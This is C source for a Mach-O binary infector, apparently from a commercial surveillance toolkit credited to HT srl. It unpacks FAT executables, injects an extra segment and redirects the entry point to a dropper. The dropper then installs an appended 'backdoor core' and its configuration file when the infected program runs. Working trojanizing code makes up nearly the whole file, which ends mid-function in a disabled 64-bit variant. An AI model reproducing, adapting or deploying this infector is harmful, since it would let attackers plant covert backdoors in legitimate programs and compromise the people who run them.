/*
* RCSMac Infector
*  - Check if the input file is a FAT binary
*    - If Yes Unpack every single ARCH
*  - Rebuild a FAT binary with all the original archs and while dealing with the
*    i386 arch:
*    - Inject a new LC_SEGMENT right after the __LINKEDIT segment so that we
*      won't touch __DATA vmaddr (this is because __PAGEZERO will always be 0x1000
*      big, by default from gcc. One can also specify a different size at compile time)
*    - Cut sizeof (segment_command) while copying back the _rest_ of the file
*      (after LC_COMMAND(s)) since we've added a new SEGMENT. In this way we're
*      gonna cut 0s used for padding and the alignment won't be broken.
*    - Append our data padded to 0x1000 (Page Boundary) and put our crt start()
*      routine (standard one created by gcc) as the entryPoint routine which calls
*      our real main() [secondStageLoader]. There's a problem in having the start
*      routine different than the one dyld is expecting since it won't initialize
*      in that case the entire environment memory. See ImageLoaderMachO.cpp:2661
*      - This must be done in the same architecture and not at the end of the file:
*        | FAT_HEADER |
*         | FAT_ARCH i386| <--- change arch size in order to include our files
*          | ARCH i386 SEGMENTS |
*          | INJECTED SEGMENT |
*         | FAT_ARCH OTHER |
*          | ARCH OTHER SEGMENTS|
*
* Created by Alfredo 'revenge' Pesoli on 14/07/2009
* Win32 porting by Massimo Chiodini on 02/11/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#ifdef __APPLE__
#include <unistd.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <sys/stat.h>
#ifdef __APPLE__
#include <sys/mman.h>
#else
#include <io.h>
#endif

#include "RCSMacCommon.h"
#include "RCSMacInfector.h"
#include "RCSMacDropper.h"

#define INJECTED_SEGMENT  "__CTOR_STUBS"
//#define DEBUG
//#define DEBUG_VERBOSE

//extern void dropperStart ();
//extern void labelTest ();
//extern void firstStageDropper ();
//extern void secondStageDropper ();
//extern void dropperEnd ();

//static unsigned int paddedPagezeroVASize = 0;

#define ENTRY_POINT            ((byte *)secondStageDropper - (byte *)dropperStart)
#define DROPPER_CODE_SIZE      ((byte *)dropperEnd - (byte *)dropperStart)
#define FIRST_STAGE_CODE_SIZE  ((byte *)firstStageDropper - (byte *)labelTest)

uint32_t gShiftSize = 0;
uint32_t gOutSize   = 0;


uint32_t getBinaryEP_32 (byte *machoBase)
{
	struct mach_header *m_header;
	struct load_command *l_command;

	unsigned int i;
	unsigned int offset, entryPoint;

	m_header =(struct mach_header *) machoBase;
	offset  = sizeof (struct mach_header);

	for (i = 0; i < m_header->ncmds; i++)
	{
		l_command = (struct load_command *)((byte *)machoBase + offset);

		if (l_command->cmd == LC_THREAD
			|| l_command->cmd == LC_UNIXTHREAD)
		{
			struct thread_command *th_command;

			th_command = (thread_command *) allocate (sizeof (struct thread_command));
			memcpy (th_command, machoBase + offset, sizeof (struct thread_command));

			entryPoint = th_command->state.eip;
			free (th_command);

			return entryPoint;
		}

		offset += l_command->cmdsize;
	}

	return -1;
}
#if 0
uint64_t getBinaryEP_64 (byte *machoBase)
{
	struct mach_header_64 *m_header;
	struct load_command *l_command;

	unsigned int i;
	unsigned int offset;
	uint64_t entryPoint;

	m_header =(struct mach_header_64 *) machoBase;
	offset  = sizeof (struct mach_header_64);

	for (i = 0; i < m_header->ncmds; i++)
	{
		l_command = (struct load_command *)((byte *)machoBase + offset);

		if (l_command->cmd == LC_THREAD
			|| l_command->cmd == LC_UNIXTHREAD)
		{
			struct thread_command_64 *th_command;

			th_command = (struct thread_command_64 *) allocate (sizeof (struct thread_command_64));
			memcpy (th_command, machoBase + offset, sizeof (struct thread_command_64));

			entryPoint = th_command->state.rip;
			free (th_command);

			return entryPoint;
		}

		offset += l_command->cmdsize;
	}

	return -1;
}
#endif
int
setBinaryEP_32 (byte *machoBase, uint32_t anEntryPoint)
{
	struct mach_header *m_header;
	struct load_command *l_command;

	unsigned int i;
	unsigned int offset;

	m_header = (struct mach_header *) machoBase;
	offset  = sizeof (struct mach_header);

	for (i = 0; i < m_header->ncmds; i++)
	{
		l_command = (struct load_command *)(machoBase + offset);

		if (l_command->cmd == LC_THREAD
			|| l_command->cmd == LC_UNIXTHREAD)
		{
#ifdef DEBUG
			printf("Found LC_THREAD for setting ep\n");
#endif
			struct thread_command *th_command;

			th_command = (thread_command *) allocate (sizeof (struct thread_command));
			memcpy (th_command, machoBase + offset, sizeof (struct thread_command));

			th_command->state.eip = anEntryPoint;
			memcpy (machoBase + offset, th_command, sizeof (struct thread_command));
			free (th_command);  

			return 0;
		}

		offset += l_command->cmdsize;
	}

	return -1;
}
#if 0
int
setBinaryEP_64 (byte *machoBase, uint64_t anEntryPoint)
{
	struct mach_header_64 *m_header;
	struct load_command *l_command;

	unsigned int i;
	unsigned int offset;

	m_header = (struct mach_header_64 *) machoBase;
	offset  = sizeof (struct mach_header_64);

	for (i = 0; i < m_header->ncmds; i++)
	{
		l_command = (struct load_command *)(machoBase + offset);

		if (l_command->cmd == LC_THREAD
			|| l_command->cmd == LC_UNIXTHREAD)
		{
			struct thread_command_64 *th_command;

			th_command = (thread_command_64 *) allocate (sizeof (struct thread_command_64));
			memcpy (th_command, machoBase + offset, sizeof (struct thread_command_64));

			th_command->state.rip = anEntryPoint;
			memcpy (machoBase + offset, th_command, sizeof (struct thread_command_64));
			free (th_command);  

			return 0;
		}

		offset += l_command->cmdsize;
	}

	return -1;
}
#endif
int appendData (char *inputFilePointer,
				char *outputFilePointer,
				int inArchOffset,
				int outArchOffset,
				int padding,
				uint32_t segmentVMAddr,
				bool is64bitArch)
{
	char *tempFilePointer   = NULL;
	const char *_strings[]  = { "HOME", "%s/%s/%s", "%s/%s", "/%s", "Library", "Preferences", "" };

	uint32_t originalEP     = 0;
	int tempFileSize        = 0; 
#ifdef WIN32
	HANDLE tempFD, tempFDMap;
#else
	int tempFD              = 0;
#endif
	int z                   = 0;
	int offset = padding;

	infectionHeader infection;
	stringTable     strings;
	resourceHeader  resource;

	//if (is64bitArch)
	//  originalEP = getBinaryEP_64 ((byte *)(inputFilePointer + inArchOffset));
	//else
	originalEP = getBinaryEP_32 ((byte *)(inputFilePointer + inArchOffset));

#ifdef DEBUG
	printf ("Original EP: %x\n", originalEP);
#endif

	char *coreFileName          = basename(coreFilePath);
	char *confFileName          = basename(confFilePath);
	//char *kext32FileName        = basename(kext32FilePath);
	//char *kext64FileName        = basename(kext64FilePath);
	//char *inputManagerFileName  = basename(inputManagerFilePath);
	//char *XPCFileName           = basename(XPCFilePath);
	//char *iconFileName          = basename(iconFilePath);
	char *bitmapFileName		  = NULL;
	if(strcmp(bitmapFilePath, "null"))
		bitmapFileName		  = "infected.bmp";
	char *inputFileName         = basename(inputFilePath);
	char *outputFileName        = basename(outputFilePath);

	//
	// Set the infection header
	//
	memset(&infection, 0, sizeof (infectionHeader));
	infection.numberOfResources = gNumberOfResources;
	infection.numberOfStrings   = gNumStrings;
	infection.dropperSize       = (int)DROPPER_CODE_SIZE;
	infection.originalEP        = originalEP; //+ paddedPagezeroVASize - PAGE_ALIGNMENT;

	memcpy(outputFilePointer + offset, &infection, sizeof (infectionHeader));
	offset += sizeof(infectionHeader);

	//
	// Set the string table
	//
	for (z = 0; z < gNumStrings; z++)
	{
		memset(&strings, 0, sizeof (stringTable));
#ifdef WIN32
		printf("_string_%d %s\n", z, _strings[z]);
		strncpy_s(strings.value, sizeof(strings.value), _strings[z], _TRUNCATE);
#else
		strncpy (strings.value, _strings[z], sizeof (strings.value));
#endif

		strings.type = STRING_DATA;

		memcpy(outputFilePointer + offset, &strings, sizeof (stringTable));
		offset += sizeof(stringTable);
	}

	// Set the new EP + 4 (number of Resources)
	if (is64bitArch)
	{
#if 0
		if (setBinaryEP_64 ((byte *)(outputFilePointer + outArchOffset),
			segmentVMAddr
			+ sizeof (infectionHeader)
			+ sizeof (stringTable) * gNumStrings) == -1)
		{
			printf ("[ee] An error occurred while setting the new EP\n");
			exit (1);
		}
#endif
	}
	else
	{
		if (setBinaryEP_32((byte *)(outputFilePointer + outArchOffset),
			(uint32_t)segmentVMAddr
			+ sizeof (infectionHeader)
			+ sizeof (stringTable) * gNumStrings) == -1)
		{
			printf ("[ee] An error occurred while setting the new EP\n");
			exit (1);
		}
	}

	//
	// Now append the crt start routine (__malloc_initialize error fix)
	//
	memcpy(outputFilePointer + offset, crtStart, sizeof (crtStart));
	offset += sizeof (crtStart);

	unsigned int ep = (unsigned int)ENTRY_POINT;
#ifdef DEBUG_VERBOSE
	printf ("ep: %x\n", ep);
#endif
	memmove(outputFilePointer + offset - 1, &ep, 3);
	offset += 3;

	//
	// Now append our loader
	//

	memcpy(outputFilePointer + offset,
		dropperStart,
		(_mSize_t)DROPPER_CODE_SIZE);

	offset += (int)DROPPER_CODE_SIZE;

	//
	// Now resourceHeader with all the files which needs to be dropped
	//
	printf("[ii] Dropper injected (%d)\n", (int)DROPPER_CODE_SIZE);

	//
	// CORE
	//
	printf("[ii] Core %s, installpath: %s\n", coreFileName, installPath);
	resource.type = RESOURCE_CORE;
	memset(resource.name, 0, sizeof(resource.name));
	memcpy(resource.name, coreFileName, min(sizeof(resource.name), strlen(coreFileName)));

	resource.size = gCoreFileSize;

	memset(resource.path, 0, sizeof(resource.path));
	memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

	memcpy(outputFilePointer + offset,
		&resource,
		sizeof(resourceHeader));

	offset += sizeof(resourceHeader);

#ifdef WIN32
	if ((tempFilePointer = mapFile(coreFilePath, &tempFileSize,
		&tempFD, &tempFDMap, 0)) == NULL)
#else
	if ((tempFilePointer = mapFile(coreFilePath, &tempFileSize,
		&tempFD, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the backdoor core file\n");
		exit (1);
	}

	memcpy(outputFilePointer + offset,
		tempFilePointer,
		gCoreFileSize);

	offset += gCoreFileSize;

	tempFileSize = 0;

#ifdef WIN32
	if (tempFilePointer != NULL)
		UnmapViewOfFile(tempFilePointer);

	CloseHandle(tempFDMap);
	CloseHandle(tempFD);
#else
	close (tempFD);
	tempFilePointer = NULL;
#endif

	//
	// CONF
	//
	printf("[ii] Conf %s\n", confFileName);

	resource.type = RESOURCE_CONF;
	memset(resource.name, 0, sizeof(resource.name));
	memcpy(resource.name, confFileName, min(sizeof(resource.name), strlen(confFileName)));
	resource.size = gConfFileSize;
	memset(resource.path, 0, sizeof(resource.path));
	memcpy(resource.path, installPath, min(sizeof(resource.path),strlen(installPath)));

	memcpy(outputFilePointer + offset,
		&resource,
		sizeof(resourceHeader));

	offset += sizeof(resourceHeader);
#ifdef WIN32
	if ((tempFilePointer = mapFile(confFilePath, &tempFileSize,
		&tempFD, &tempFDMap, 0)) == NULL)

#else 
	if ((tempFilePointer = mapFile(confFilePath, &tempFileSize,
		&tempFD, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the configuration file\n");
		exit(1);
	}

	memcpy(outputFilePointer + offset,
		tempFilePointer,
		gConfFileSize);
	offset += gConfFileSize;

	tempFileSize = 0;

#ifdef WIN32
	if(tempFilePointer != NULL)
		UnmapViewOfFile(tempFilePointer);

	CloseHandle(tempFDMap);
	CloseHandle(tempFD);
#else
	close(tempFD);

	tempFilePointer = NULL;
#endif

	/*
	//
	// KEXT32
	//
	printf("[ii] Kext32 %s\n", kext32FileName);
	resource.type = RESOURCE_KEXT;
	memset(resource.name, 0, sizeof(resource.name));
	memcpy(resource.name, kext32FileName, min(sizeof(resource.name), strlen(kext32FileName)));
	resource.size = gKext32FileSize;
	memset(resource.path, 0, sizeof(resource.path));
	memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

#ifdef DEBUG
	printf ("offset: %x\n", offset);
#endif

	memcpy(outputFilePointer + offset,
		&resource,
		sizeof(resourceHeader));

	offset += sizeof(resourceHeader);

#ifdef WIN32
	if ((tempFilePointer = mapFile(kext32FilePath, &tempFileSize,
		&tempFD, &tempFDMap, 0)) == NULL)
#else
	if ((tempFilePointer = mapFile(kext32FilePath, &tempFileSize,
		&tempFD, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the configuration file\n");
		exit(1);
	}

	memcpy(outputFilePointer + offset,
		tempFilePointer,
		gKext32FileSize);

	offset += gKext32FileSize;
	tempFileSize = 0;

#ifdef WIN32
	if (tempFilePointer != NULL)
		UnmapViewOfFile(tempFilePointer);

	CloseHandle(tempFDMap);
	CloseHandle(tempFD);
#else
	close(tempFD);

	tempFilePointer = NULL;
#endif

	//
	// KEXT64
	//
	printf("[ii] Kext64 %s\n", kext64FileName);
	resource.type = RESOURCE_KEXT;
	memset(resource.name, 0, sizeof(resource.name));
	memcpy(resource.name, kext64FileName, min(sizeof(resource.name), strlen(kext64FileName)));
	resource.size = gKext64FileSize;
	memset(resource.path, 0, sizeof(resource.path));
	memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

#ifdef DEBUG
	printf ("offset: %x\n", offset);
#endif

	memcpy(outputFilePointer + offset,
		&resource,
		sizeof (resourceHeader));

	offset += sizeof(resourceHeader);

#ifdef WIN32
	if ((tempFilePointer = mapFile (kext64FilePath, &tempFileSize,
		&tempFD, &tempFDMap, 0)) == NULL)
#else
	if ((tempFilePointer = mapFile (kext64FilePath, &tempFileSize,
		&tempFD, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the configuration file\n");
		exit (1);
	}

	memcpy (outputFilePointer + offset,
		tempFilePointer,
		gKext64FileSize);

	offset += gKext64FileSize;
	tempFileSize = 0;

#ifdef WIN32
	if (tempFilePointer != NULL)
		UnmapViewOfFile (tempFilePointer);

	CloseHandle (tempFDMap);
	CloseHandle (tempFD);
#else
	close (tempFD);

	tempFilePointer = NULL;
#endif
*/
/*
	//
	// INPUT MANAGER
	//
	printf("[ii] InputManager %s, size: %d\n", inputManagerFileName, gInputManagerFileSize);
	resource.type = RESOURCE_IN_MANAGER;
	memset (resource.name, 0, sizeof (resource.name));
	memcpy (resource.name, inputManagerFileName, min(sizeof (resource.name), strlen(inputManagerFileName)));
	resource.size = gInputManagerFileSize;
	memset (resource.path, 0, sizeof (resource.path));
	memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

	memcpy (outputFilePointer + offset,
		&resource,
		sizeof (resourceHeader));

	offset += sizeof (resourceHeader);
#ifdef WIN32
	if ((tempFilePointer = mapFile (inputManagerFilePath, &tempFileSize,
		&tempFD, &tempFDMap, 0)) == NULL)
#else 
	if ((tempFilePointer = mapFile (inputManagerFilePath, &tempFileSize,
		&tempFD, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the input manager file\n");
		exit (1);
	}

	memcpy (outputFilePointer + offset,
		tempFilePointer,
		gInputManagerFileSize);

	offset += gInputManagerFileSize;
	tempFileSize = 0;

#ifdef WIN32
	if(tempFilePointer != NULL)
		UnmapViewOfFile(tempFilePointer);

	CloseHandle(tempFDMap);
	CloseHandle(tempFD);
#else
	close (tempFD);
#endif
*/
/*
	//
	// XPC service
	//
	printf("[ii] XPC %s\n", XPCFileName);

	resource.type = RESOURCE_IN_MANAGER;
	memset (resource.name, 0, sizeof (resource.name));
	memcpy (resource.name, XPCFileName, sizeof (resource.name));
	resource.size = gXPCFileSize;
	memset (resource.path, 0, sizeof (resource.path));
	memcpy (resource.path, installPath, sizeof (resource.path));

	memcpy (outputFilePointer + offset,
		&resource,
		sizeof (resourceHeader));

	offset += sizeof (resourceHeader);
#ifdef WIN32
	if ((tempFilePointer = mapFile (XPCFilePath, &tempFileSize,
		&tempFD, &tempFDMap, 0)) == NULL)
#else 
	if ((tempFilePointer = mapFile (XPCFilePath, &tempFileSize,
		&tempFD, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the XPC service file\n");
		exit (1);
	}

	memcpy (outputFilePointer + offset,
		tempFilePointer,
		gXPCFileSize);

	offset += gXPCFileSize;
	tempFileSize = 0;

#ifdef WIN32
	if(tempFilePointer != NULL)
		UnmapViewOfFile(tempFilePointer);

	CloseHandle(tempFDMap);
	CloseHandle(tempFD);
#else
	close (tempFD);
#endif
*/

	/*
	//
	// ICON
	//
	printf("[ii] Icon %s\n", iconFileName);

	resource.type = RESOURCE_ICON;
	memset (resource.name, 0, sizeof(resource.name));
	memcpy (resource.name, iconFileName, min(sizeof(resource.name), strlen(iconFileName)));
	resource.size = gIconFileSize;
	memset (resource.path, 0, sizeof(resource.path));
	memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

	memcpy (outputFilePointer + offset,
		&resource,
		sizeof (resourceHeader));

	offset += sizeof (resourceHeader);
#ifdef WIN32
	if ((tempFilePointer = mapFile (iconFilePath, &tempFileSize,
		&tempFD, &tempFDMap, 0)) == NULL)
#else 
	if ((tempFilePointer = mapFile (iconFilePath, &tempFileSize,
		&tempFD, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the configuration file\n");
		exit (1);
	}

	memcpy (outputFilePointer + offset,
		tempFilePointer,
		gIconFileSize);

	offset += gIconFileSize;
	tempFileSize = 0;

#ifdef WIN32
	if(tempFilePointer != NULL)
		UnmapViewOfFile(tempFilePointer);

	CloseHandle(tempFDMap);
	CloseHandle(tempFD);
#else
	close (tempFD);

	tempFilePointer = NULL;
#endif
*/

	if(bitmapFileName != NULL)
	{
		// Bitmap file for demo
		printf("[ii] Bitmap %s\n", bitmapFileName);

		resource.type = RESOURCE_BITMAP;
		memset (resource.name, 0, sizeof(resource.name));
		memcpy (resource.name, bitmapFileName, min(sizeof(resource.name), strlen(bitmapFileName)));
		resource.size = gBitmapFileSize;
		memset (resource.path, 0, sizeof(resource.path));
		memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

		memcpy (outputFilePointer + offset,
			&resource,
			sizeof (resourceHeader));

		offset += sizeof (resourceHeader);
#ifdef WIN32
		if ((tempFilePointer = mapFile (bitmapFilePath, &tempFileSize,
			&tempFD, &tempFDMap, 0)) == NULL)
#else 
		if ((tempFilePointer = mapFile (bitmapFilePath, &tempFileSize,
			&tempFD, 0)) == NULL)
#endif
		{
			printf("[ee] Error while mmapping the bitmap file\n");
			exit (1);
		}

		memcpy (outputFilePointer + offset,
			tempFilePointer,
			gBitmapFileSize);

		offset += gBitmapFileSize;
		tempFileSize = 0;

#ifdef WIN32
		if(tempFilePointer != NULL)
			UnmapViewOfFile(tempFilePointer);

		CloseHandle(tempFDMap);
		CloseHandle(tempFD);
#else
		close (tempFD);

		tempFilePointer = NULL;
#endif
	}

	return offset;
}

int infectSingleArch (char *inputFilePointer,
					  char *outputFilePointer,
					  int inOffsetToArch,
					  int outOffsetToArch,
					  int inputFileSize,
					  int outputFileSize)
{
	struct mach_header      *m_header;
	struct load_command     *l_command;
	struct segment_command  *seg_command;

	unsigned int z;
	unsigned int i;
	unsigned int inputOffset  = 0;
	unsigned int outputOffset = 0;
	unsigned int segVMAddr    = 0;
	int displacement          = 0;
	int padding               = 0;

#ifdef DEBUG
	printf("input offset: %d\n", inputOffset);
	printf("inOffsetToArch: %d\n", inOffsetToArch);
	printf("inputFileSize: %d\n", inputFileSize);
#endif

	inputOffset   += inOffsetToArch;
	outputOffset  += outOffsetToArch;

	m_header =  (struct mach_header *) allocate (sizeof (struct mach_header));
	memcpy (m_header, inputFilePointer + inputOffset, sizeof (struct mach_header));

	// TODO: Add check for cputype as well
	if (m_header->filetype != MH_EXECUTE)
	{
		printf ("[ee] Unsupported file type (!= MH_EXECUTE)\n");
		return kErrorFileNotSupported;
	}

	//m_header->sizeofcmds += sizeof (struct section);

	// Increment header sizeofcmds since we're adding a new segment
	m_header->sizeofcmds += sizeof (struct segment_command);
	m_header->ncmds      += 1;

	memcpy (outputFilePointer + outputOffset, m_header, sizeof (struct mach_header));

	// Calculate padding including loader code size
	displacement  = inputFileSize % PAGE_ALIGNMENT;
	padding       = PAGE_ALIGNMENT - displacement;

	outputOffset += sizeof (struct mach_header);
	inputOffset  += sizeof (struct mach_header);
#ifdef DEBUG
	printf ("[ii] Starting parsing load_commands\n");
#endif
	for (i = 0; i < m_header->ncmds; i++)
	{
		l_command = (struct load_command *)(inputFilePointer + inputOffset);
#ifdef DEBUG_VERBOSE
		printf ("loadCommand: %d (%x)\n", i, l_command->cmd);
#endif
		switch (l_command->cmd)
		{
		case LC_THREAD:
		case LC_UNIXTHREAD:
			{
				struct thread_command *th_command;

				th_command = (thread_command *) allocate (sizeof (struct thread_command));
				memcpy (th_command, inputFilePointer + inputOffset, sizeof (struct thread_command));

				//th_command->state.eip += sizeof (struct section);
				//th_command->state.eip = 0x8; // W00t

				memcpy (outputFilePointer + outputOffset, th_command, sizeof (struct thread_command));
				free (th_command);

				inputOffset += sizeof (struct thread_command);
				outputOffset += sizeof (struct thread_command);

				break;
			}
		case LC_SEGMENT:
			{
#ifdef DEBUG
				printf ("LC_SEGMENT size: %d\n", (int)(sizeof (struct segment_command)));
#endif
				seg_command = (segment_command *) allocate (sizeof (struct segment_command));
				memcpy (seg_command, inputFilePointer + inputOffset, sizeof (struct segment_command));

				inputOffset += sizeof (struct segment_command);

				if (!strncmp (seg_command->segname, "__PAGEZERO",
					strlen (seg_command->segname)))
				{
#ifdef DEBUG
					printf ("[ii] Found __PAGEZERO Segment\n");
#endif  
					//
					// Update the segment within the new prot flags(EP) and size
					//
					//seg_command->cmdsize  += sizeof (struct section);
					/*
					seg_command->fileoff  = fileSize + padding;

					//seg_command->filesize = outputFileSize;
					seg_command->filesize = FIRST_STAGE_CODE_SIZE;

					if (seg_command->filesize % PAGE_ALIGNMENT)
					seg_command->filesize = ((seg_command->filesize + PAGE_ALIGNMENT)
					& ~(PAGE_ALIGNMENT -1));

					//seg_command->vmsize = paddedPagezeroVASize = outputFileSize; // PageBoundary padding 4K
					seg_command->vmsize = seg_command->filesize;

					seg_command->maxprot  = 0x7;
					seg_command->initprot = 0x5;
					//seg_command->nsects   += 0x1;
					*/
					// Copy back the segmentCommand
					memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
					outputOffset += sizeof (struct segment_command);
					/*
					//
					// Create the new section
					//
					printf ("[ii] section size: %d\n", (int)(sizeof (struct section)));
					sect = allocate (sizeof (struct section));

					if (sect == NULL)
					{
					printf("[ee] Error while allocating the new section\n");
					return kErrorMemoryAllocation;
					}

					strcpy (sect->sectname, INJECTED_SECTION_NAME);
					strcpy (sect->segname, INJECTED_SEGMENT_NAME);
					//sect->addr    = stackSize;
					sect->offset  = fileSize + padding;
					sect->size    = outputFileSize; //TOP_STACK - stackSize; // size of the stack
					sect->align   = 0x2; // standard alignment
					sect->flags   = 0x80000000; // x flag

					// Copy back the section
					memcpy (outputFilePointer + outputOffset, sect, sizeof (struct section));
					outputOffset += sizeof (struct section);

					free (sect);
					*/
				}
				else if (!strncmp (seg_command->segname, "__LINKEDIT",
					strlen (seg_command->segname)))
				{
#ifdef DEBUG
					printf ("[ii] Found %s Segment\n", seg_command->segname);
#endif  
					memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
					outputOffset += sizeof (struct segment_command);

					//
					// Now inject the new segment
					//
					struct segment_command *mySegment = (struct segment_command *) allocate (sizeof (struct segment_command));

					mySegment->cmd      = LC_SEGMENT;
					mySegment->cmdsize  = sizeof (struct segment_command);
#ifdef WIN32
					strncpy_s(mySegment->segname, strlen(INJECTED_SEGMENT), INJECTED_SEGMENT, _TRUNCATE);
#else
					strncpy (mySegment->segname, INJECTED_SEGMENT, strlen (INJECTED_SEGMENT));
#endif
					mySegment->vmaddr   = seg_command->vmaddr + seg_command->vmsize;
					mySegment->vmsize   = outputFileSize;

					// XXX: Check this out if it's in|out
					mySegment->fileoff  = inputFileSize + padding - outOffsetToArch;

					mySegment->filesize = outputFileSize;
					mySegment->maxprot  = 0x3;
					mySegment->initprot = 0x5;

					segVMAddr = mySegment->vmaddr;
#ifdef DEBUG
					printf("Segment VMAddr: %d (0x%08x)\n)", segVMAddr, segVMAddr);
#endif
					memcpy (outputFilePointer + outputOffset, mySegment, sizeof (struct segment_command));
					outputOffset += sizeof (struct segment_command);
				}
				else
				{
					//
					// Shift all the VM Addresses
					//
					//seg_command->vmaddr += paddedPagezeroVASize - PAGE_ALIGNMENT;

					memcpy (outputFilePointer + outputOffset,
						seg_command,
						sizeof (struct segment_command));
					outputOffset += sizeof (struct segment_command);
#ifdef DEBUG
					printf ("[ii] Cycling for segment (%s) sections (%d)\n",
						seg_command->segname, seg_command->nsects);
#endif  
					for (z = 0; z < seg_command->nsects; z++)
					{
						struct section *sect;

						sect = (section *) allocate (sizeof (struct section));
						if (sect == NULL)
						{
							printf("[ee] Error while allocating the new section\n");
							return kErrorMemoryAllocation;
						}
						memcpy (sect, inputFilePointer + inputOffset, sizeof (struct section));

						//sect->offset += sizeof (struct section);
						//sect->addr += paddedPagezeroVASize - PAGE_ALIGNMENT;

						memcpy (outputFilePointer + outputOffset,
							sect,
							sizeof (struct section));

						free (sect);
						inputOffset += sizeof (struct section);
						outputOffset += sizeof (struct section);
					}
				}

				free (seg_command);

				break;
			}
		case LC_SYMTAB:
			{
				struct symtab_command *sy_command;
				sy_command = (symtab_command *) allocate (sizeof (struct symtab_command));
				memcpy (sy_command, inputFilePointer + inputOffset, sizeof (struct symtab_command));

				//sy_command->symoff += sizeof (struct section);
				//sy_command->stroff += sizeof (struct section);

				memcpy (outputFilePointer + outputOffset, sy_command, sizeof (struct symtab_command));
				free (sy_command);

				inputOffset += sizeof (struct symtab_command);
				outputOffset += sizeof (struct symtab_command);

				break;
			}
		case LC_DYSYMTAB:
			{
				struct dysymtab_command *dysym_command;
				dysym_command = (dysymtab_command *) allocate (sizeof (struct dysymtab_command));
				memcpy (dysym_command, inputFilePointer + inputOffset, sizeof (struct dysymtab_command));

				//dysym_command->indirectsymoff += sizeof (struct section);

				memcpy (outputFilePointer + outputOffset, dysym_command, sizeof (struct dysymtab_command));
				free (dysym_command);

				inputOffset += sizeof (struct dysymtab_command);
				outputOffset += sizeof (struct dysymtab_command);

				break;
			}
		case LC_CODE_SIGNATURE:
		case LC_SEGMENT_SPLIT_INFO:
			{
				struct linkedit_data_command *linkedit_command;
				linkedit_command = (linkedit_data_command *) allocate (sizeof (struct linkedit_data_command));
				memcpy (linkedit_command, inputFilePointer + inputOffset, sizeof (struct linkedit_data_command));

				//linkedit_command->dataoff += sizeof (struct section);

				memcpy (outputFilePointer + outputOffset, linkedit_command, sizeof (struct linkedit_data_command));
				free (linkedit_command);

				inputOffset += sizeof (struct linkedit_data_command);
				outputOffset += sizeof (struct linkedit_data_command);

				break;
			}
		default:
			{
				memcpy (outputFilePointer + outputOffset,
					inputFilePointer + inputOffset,
					l_command->cmdsize);
				inputOffset += l_command->cmdsize;
				outputOffset += l_command->cmdsize;

				break;
			}
		}
	}

#ifdef DEBUG
	printf("[ii] inputFilePointer : 0x%08x\n", inputFilePointer);
	printf("[ii] inputOffset      : 0x%08x\n", inputOffset);
	printf("[ii] inputFileSize    : 0x%08x\n", inputFileSize);
	printf("[ii] outputFilePointer: 0x%08x\n", outputFilePointer);
	printf("[ii] outputOffset     : 0x%08x\n", outputOffset);
	printf("[ii] outputFileSize   : 0x%08x\n", outputFileSize);
	printf("[ii] inOffsetToArch   : 0x%08x\n", inOffsetToArch);
	printf("[ii] outOffsetToArch  : 0x%08x\n", outOffsetToArch);
#endif

	//
	// Now the rest of the file (data), here we wanna skip sizeof segment_command
	// in order to leave the file padded correctly for its TEXT segment
	//
	memcpy(outputFilePointer + outputOffset,
		inputFilePointer + inputOffset + sizeof (struct segment_command),
		inputFileSize - (inputOffset - inOffsetToArch) - sizeof (struct segment_command));

	free (m_header);
	printf ("[ii] LoadCommands copied successfully\n");

#ifdef DEBUG_VERBOSE
	printf ("inputFilePointer: %x\n", inputFilePointer);
	printf ("inputFilePointer: %x\n", *(unsigned long *)inputFilePointer);
	printf ("[ii] inOffsetToArch   : 0x%08x\n", inOffsetToArch);
	printf ("[ii] outOffsetToArch  : 0x%08x\n", outOffsetToArch);
	printf ("inputFilePointer: %x\n", *(unsigned long *)(inputFilePointer + 0x1000));
	printf ("inputSize + padding: %d\n", inputFileSize + padding);
#endif

	if (appendData(inputFilePointer,
		outputFilePointer,
		inOffsetToArch,
		outOffsetToArch,
		inputFileSize + padding,
		segVMAddr,
		false) != kErrorGeneric)
		return padding;
	else
		return kErrorGeneric;
}
#if 0
int infectSingleArch64 (char *inputFilePointer,
						char *outputFilePointer,
						int inOffsetToArch,
						int outOffsetToArch,
						int inputFileSize,
						int outputFileSize)
{
	struct mach_header_64       *m_header;
	struct load_command         *l_command;
	struct segment_command_64   *seg_command;

	unsigned int z;
	unsigned int i;
	uint32_t inputOffset  = 0;
	uint32_t outputOffset = 0;
	uint32_t segVMAddr    = 0;
	int displacement      = 0;
	int padding           = 0;

	inputOffset   += inOffsetToArch;
	outputOffset  += outOffsetToArch;

	m_header =  (struct mach_header_64 *) allocate (sizeof (struct mach_header_64));
	memcpy(m_header, inputFilePointer + inputOffset, sizeof (struct mach_header_64));

	// TODO: Add check for cputype as well
	if (m_header->filetype != MH_EXECUTE)
	{
		printf ("[ee] Unsupported file type (!= MH_EXECUTE)\n");
		return kErrorFileNotSupported;
	}

	//m_header->sizeofcmds += sizeof (struct section);

	// Increment header sizeofcmds since we're adding a new segment
	m_header->sizeofcmds += sizeof (struct segment_command_64);
	m_header->ncmds      += 1;

	memcpy(outputFilePointer + outputOffset, m_header, sizeof (struct mach_header_64));

	// Calculate padding including loader code size
	displacement  = inputFileSize % PAGE_ALIGNMENT;
	padding       = PAGE_ALIGNMENT - displacement;

	outputOffset += sizeof (struct mach_header_64);
	inputOffset  += sizeof (struct mach_header_64);
#ifdef DEBUG
	printf ("[ii] Starting parsing load_commands\n");
#endif
	for (i = 0; i < m_header->ncmds; i++)
	{
		l_command = (struct load_command *)(inputFilePointer + inputOffset);
#ifdef DEBUG_VERBOSE
